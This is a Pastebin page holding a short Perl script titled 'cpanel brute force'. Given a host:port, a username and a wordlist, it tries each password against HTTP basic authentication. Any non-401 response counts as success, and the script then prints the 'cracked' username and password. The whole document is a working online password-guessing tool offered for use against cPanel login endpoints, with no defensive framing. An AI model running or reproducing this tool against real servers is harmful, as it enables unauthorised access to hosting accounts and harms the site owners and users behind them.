Advertisement
Gentoo7

cpanel brute force

Mar 15th, 2016
32,379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.96 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use LWP;
  5.  
  6. sub usage(){
  7. print "How to use: $0 <host:port> <user> <wordlist>\nExample: $0  localhost:2082 admin wl.txt\n\n";
  8. exit;
  9. }
  10.  
  11. sub auth(){
  12. $ua = LWP::UserAgent->new;
  13. $req = HTTP::Request->new(GET => $site);
  14. $req->authorization_basic($user, $pw);
  15. if($ua->request($req)->code =~ /401/){
  16. return 0;
  17. } else {
  18. return 1;
  19. }
  20. }
  21.  
  22. sub main(){
  23. print "\n\033[1;31m[-]\033[0m Target: $site\n\n";
  24. open(w,"<$wordlist") or die("$!");
  25. while(<w>){
  26. chomp($pw = $_);
  27. print "\033[1;34m[*]\033[0m Testing ...\t$pw\n";
  28. if((&auth($pw)) == 0){
  29. next;
  30. }else{
  31. print "\n\033[0;32m[+]\033[0m Cracked!!! [$pw]\n";  
  32. print "\033[0;32m[+]\033[0m USER: $user PASS: $pw\n\n";
  33. exit;
  34. }
  35. }
  36. print "\033[1;31m[-]\033[0m No Password crackeds \n";
  37. print "\033[1;34m[*]\033[0m (100% complete)\n\n";
  38. }
  39.  
  40. if($#ARGV != 2){
  41. usage();
  42. }
  43.  
  44. ($site,$user,$wordlist) = @ARGV;
  45.  
  46. if($site !~ /^http:\/\// && $site !~ /^https:\/\//){
  47. $site = 'https://'.$site;
  48. }
  49.  
  50. main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement